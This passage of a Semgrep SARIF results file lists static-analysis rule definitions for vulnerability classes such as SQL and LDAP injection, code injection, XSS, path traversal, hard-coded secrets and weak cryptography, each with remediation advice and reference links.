attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n - [https://stackoverflow.com/questions/3115559/exploitable-php-functions](https://stackoverflow.com/questions/3115559/exploitable-php-functions)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution","id":"php.lang.security.tainted-code-execution.tainted-code-execution","name":"php.lang.security.tainted-code-execution.tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-code-execution.tainted-code-execution"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","id":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","name":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","id":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","name":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash","id":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","name":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.passlib.passlib-insecure-hash.passlib-insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"help":{"markdown":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket","id":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","name":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"help":{"markdown":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","id":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","name":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","id":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","name":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.pg-express.pg-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.pg-express.pg-express","id":"javascript.express.db.pg-express.pg-express","name":"javascript.express.db.pg-express.pg-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.pg-express.pg-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request)\n - [https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html](https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html)\n - [https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet](https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","id":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","name":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"help":{"markdown":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs)\n - [https://cwe.mitre.org/data/definitions/352.html](https://cwe.mitre.org/data/definitions/352.html)\n - [https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/](https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/)\n","text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","id":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","name":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","id":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","name":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli","id":"ruby.aws-lambda.security.pg-sqli.pg-sqli","name":"ruby.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"help":{"markdown":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected)\n - [https://cwe.mitre.org/data/definitions/939.html](https://cwe.mitre.org/data/definitions/939.html)\n","text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","id":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","name":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","properties":{"precision":"very-high","tags":["CWE-939: Improper Authorization in Handler for Custom URL Scheme","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled)\n","text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","id":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","name":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape)\n - [https://pugjs.org/language/code.html#unescaped-buffered-code](https://pugjs.org/language/code.html#unescaped-buffered-code)\n - [https://pugjs.org/language/attributes.html#unescaped-attributes](https://pugjs.org/language/attributes.html#unescaped-attributes)\n","text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","id":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","name":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to 